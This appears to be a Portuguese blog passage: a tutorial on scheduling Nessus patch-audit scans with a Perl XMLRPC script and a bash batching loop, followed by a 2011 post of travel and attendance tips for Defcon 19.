Um ponto importante agora é a instalação do pacote perl-Net-Nessus-XMLRPC, disponível nos principais repositórios Linux ou através do CPAN. Ele permitirá a integração entre o script Perl mostrado abaixo e o Nessus, através do protocolo Nessus-XMLRPC. Caso tenha interesse em conhecer a documentação desta implementação em Perl, recomendo checar a página oficial.

Existe essa mesma implementação do Nessus XMLRPC em Python, caso prefira utiliza-la. O conceito será o mesmo, assim como os parâmetros usados.

#!/usr/bin/perl

# Original script found at: http://www.centralconsultancy.com

if ($#ARGV < 0) {
 print "usage: nessus.pl target-file\n";
 exit;
}

my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime;
$year += 1900;
$mon += 1;
my $datetime = sprintf "%04d%02d%02d%02d%02d", $year, $mon, $mday, $hour, $min;

use Net::Nessus::XMLRPC;

# On 1st field, '' is same as https://localhost:8834/
my $n = Net::Nessus::XMLRPC->new ('','usuario_nessus','senha_nessus');
my $target;
my $targets = $ARGV[0];

die "Cannot login to: ".$n->nurl."\n" unless ($n->logged_in);

print "Logged in\n";

my $polid=$n->policy_get_id('nome_policy_criada');
my $polname=$n->policy_get_name($polid);

print "Using policy ID: $polid with name: $polname\n";

my $scanid=$n->scan_new_file($polid,"report.$datetime",$target,$targets);

while (not $n->scan_finished($scanid)) {
        print "$scanid: ".$n->scan_status($scanid)."\n";
        sleep 15;
}

print "$scanid: ".$n->scan_status($scanid)."\n";
my $reportcont=$n->report_file_download($scanid);
my $reportfile="report.$datetime.xml";

open (FILE,">$reportfile") or die "Cannot open file $reportfile: $!";
print FILE $reportcont;
close (FILE);

Substitua acima os campos em vermelho (login, senha e policy) pelos criados nos primeiros passos desse tutorial para tornar o script funcional. Crie agora um arquivo texto com os nomes ou IPs de todos os servidores, um por linha, que deseja verificar os patches de segurança pendentes e o utilize como parâmetro do script Perl, conforme exemplo abaixo:

[dms@s1 ~]$ chmod +x nessus.pl
[dms@s1 ~]$ ./nessus.pl lista-servidores
Logged in
Using policy ID: -11 with name: patches
176927b5-396d-432f-bd3b-08ec3688e7952f13b14cbfca2a98: running
176927b5-396d-432f-bd3b-08ec3688e7952f13b14cbfca2a98: completed

O resultado final do scan será um arquivo report.DATE.xml com todos os patches de segurança pendentes separados por host. Tenha em mente que atualizações não relacionadas a segurança não serão listadas nos relatórios do Nessus, assim como as falhas ainda não corrigidas pelo fabricante. É muito comum a lista de patches pendentes dele ser muito menor que as apontadas pelos gerenciadores de pacote.

É importante destacar também que o Nessus XMLRPC não aceitou, pelo menos nos meus testes, mais do que 20 linhas no arquivo texto com os servidores, então usemos a criatividade para criar um loop e realizar os scans em lotes com um shellscript:

#!/bin/bash

# garantindo o diretorio correto
cd /home/dms/audit

# dividindo servidores em arquivos de 20 linhas com o prefixo splitscan
split lista-servidores splitscan --lines=20

# loop para executar o scan em todos os arquivos separados acima
for a in `ls splitscan*`; do ./nessus.pl $a; done

# removendo todos os arquivos acima
rm /home/dms/audit/splitscan*

Basta agora inserir este script no crontab de acordo com a periodicidade desejada e você terá relatórios em XML com todas as atualizações de segurança pendentes no seu ambiente.

Na segunda parte do artigo, mostrarei como inserir esses dados em XML obtidos pelo Nessus no MySQL e alguns exemplos de relatórios utilizando PHP para visualizar os resultados de forma consolidada.

Defcon 19!

2011-08-10T01:05:00.000-03:00

Não existe melhor assunto para o primeiro post deste blog do que falar sobre a Defcon 19! Após anos e anos tentando, finalmente fui e digo, vale cada centavo investido.

Não que tenha sido a coisa mais planejada do mundo (pra ser sincero, foi totalmente não planejado), mas o que importa é ter ido. E se você pretende ir nos próximos anos, e for a sua primeira Defcon, seguem algumas opiniões e dicas para tentar aproveitar ao máximo o evento.

Preparação

Visite constantemente e leia a página oficial www.defcon.org antes de ir à Las Vegas. Muita informação está e estará disponível lá, basta procurar, inclusive nos fóruns. Além disso, siga o twitter oficial também: @_defcon_. Ele é atualizado constantemente!

Além das fontes oficiais, inscreva-se na lista DC17. Grande parte dos brasileiros que vão à Defcon a utilizam para se comunicar antes e durante o evento, além de ser uma excelente fonte de informações dos eventos passados. Recomendo ler o histórico, pois existem muitos posts valiosos que ajudarão bastante na sua "jornada".

Programe-se e informe-se sobre os eventos paralelos à conferencia. Além de inúmeros shows e espetáculos em Las Vegas (confira em www.vegas.com), existem várias e várias festas patrocinadas pelos vendors de segurança, que você pode conseguir com antecedencia utilizando seu networking. Por experiencia própria, ninguém conseguirá absolutamente nada pra você em cima da hora e você terá que pagar do seu bolso se quiser ir, o que pode sair salgado.

A Defcon este ano não foi na "Strip" (Las Vegas Boulevard, avenida com os principais hoteis/cassinos que aparece em todos os filmes que se passam lá), como costumava ser, mas recomendo se hospedar por lá para sentir o clima da cidade. Não vejo motivo para se hospedar em outro local, mas isso é algo pessoal. Caso queira ficar no hotel do evento, no próprio site da Defcon é divulgado com antecedência descontos, então vale a pena ficar ligado uns meses antes (não foi o meu caso).

E, por último, tente chegar com um ou dois dias de antecedência para não deixar de ir ao evento para fazer compras e passeios.

Las Vegas

Alugue um carro. Eu não o fiz e me arrependi. Facilitará muito suas idas e vindas ao local do evento, além de permitir compras em locais mais distantes (Wallmart, Fry's, Bestbuy, GameStop, Outlet Premium, etc) sem torrar dinheiro com taxi ou perder tempo em ônibus. Todos os hotéis possuem serviço de valet grátis, então não se preocupe com gastos de estacionamento.

Dica postada na DC17: compre, assim que chegar, um chip pré pago e ative um plano de dados, seguindo esta dica: http://forums.macrumors.com/showthread.php?t=982364 . Eles são vendidos em supermercados, lojas de conveniencia, e etc. Muita coisa é divulgada durante o evento, principalmente, via twitter e foruns oficiais, o que complementa bastante a sua participação. Além disso, não sei o seu nível de paranóia, mas conectar-se à rede da Defcon, mesmo com 802.1x, VPN, tokens e etc, não me parece uma boa idéia. Lembre-se que o ambiente lá é 100% hostil.

E, por final, beba muito água, pois o calor beira o insuportável. Você sabe que Las Vegas é no meio do deserto, certo? :-)

Off topic: Se curte poker, rode nas diversas "poker rooms" espalhadas pelos cassinos e jogue pelo menos um buy-in. É uma experiência única;

Defcon

Para o evento, a primeira dica é: prepare-se pra enfrentar uma maratona de filas. Sim, fila para absolutamente TUDO que você for fazer no local do evento. Não sei se foi algo específico da Defcon 19, mas prepare-se para ficar em pé por muito tempo, começando pelo dia da inscrição, que enfrentei 2 horas e 30 minutos. Se você pretende tomar café da manhã ou almoçar no hotel do evento, prepare-se pra mais e mais filas. Sim, a coisa é MUITO exagerada. Afinal, foram mais de 10.000 pessoas.

A organização divulga que o evento possui quatro dias, mas o primeiro deles é dedicado exclusivamente para as inscrições, já que não existe pré-inscrição e a quantidade de pessoas é enorme. Após enfrentar essa maratona, aproveite esse dia para fazer outras coisas em Las Vegas (festas, compras, cassino, passeio ao Grand Cannyon, shows, e etc).

Com a programação do evento em mãos, tente traçar de imediato todas as palestras interessantes que deseja ver, e organizar os seus horários. Além das tracks principais, existem diversos eventos paralelos dentro da própria Defcon mais alternativos, que são curiosos e valem a pena ser conferidos (confira no guia oficial recebido durante a inscrição). Essa programação será importante para entrar nas filas das palestras mais concorridas com antecedência (não fure fila!!!), além de permitir acordar mais tarde nos dias que você for sair à noite, o que leva à próxima dica.

Existem três vertentes claras de frequentadores na Defcon: os que só vão para as palestras e eventos ligados à conferencia, os que vão pra Las Vegas passar uma semana de férias, e os que aproveitam os dois.

Minha opinião: tente, ao máximo, aproveitar o que ambos tem a oferecer e faça parte do último grupo. O evento acontece em Las Vegas, acredito eu, com esse propósito. Só lembre-se que dificilmente você conseguirá ver palestras as 10 a.m após voltar de algum festa as 6 a.m.

---------------------------------------------------------------------------------------------

Bom, é isso. Provavelmente, se tivesse me planejado, teria aproveitado mais algumas coisas e perdido menos tempo com outras, mas faz parte da experiência adquirida para as próximas.

Nos vemos na Defcon 20!

PS: uma pena que não li o post do Willian Caprino antes de viajar...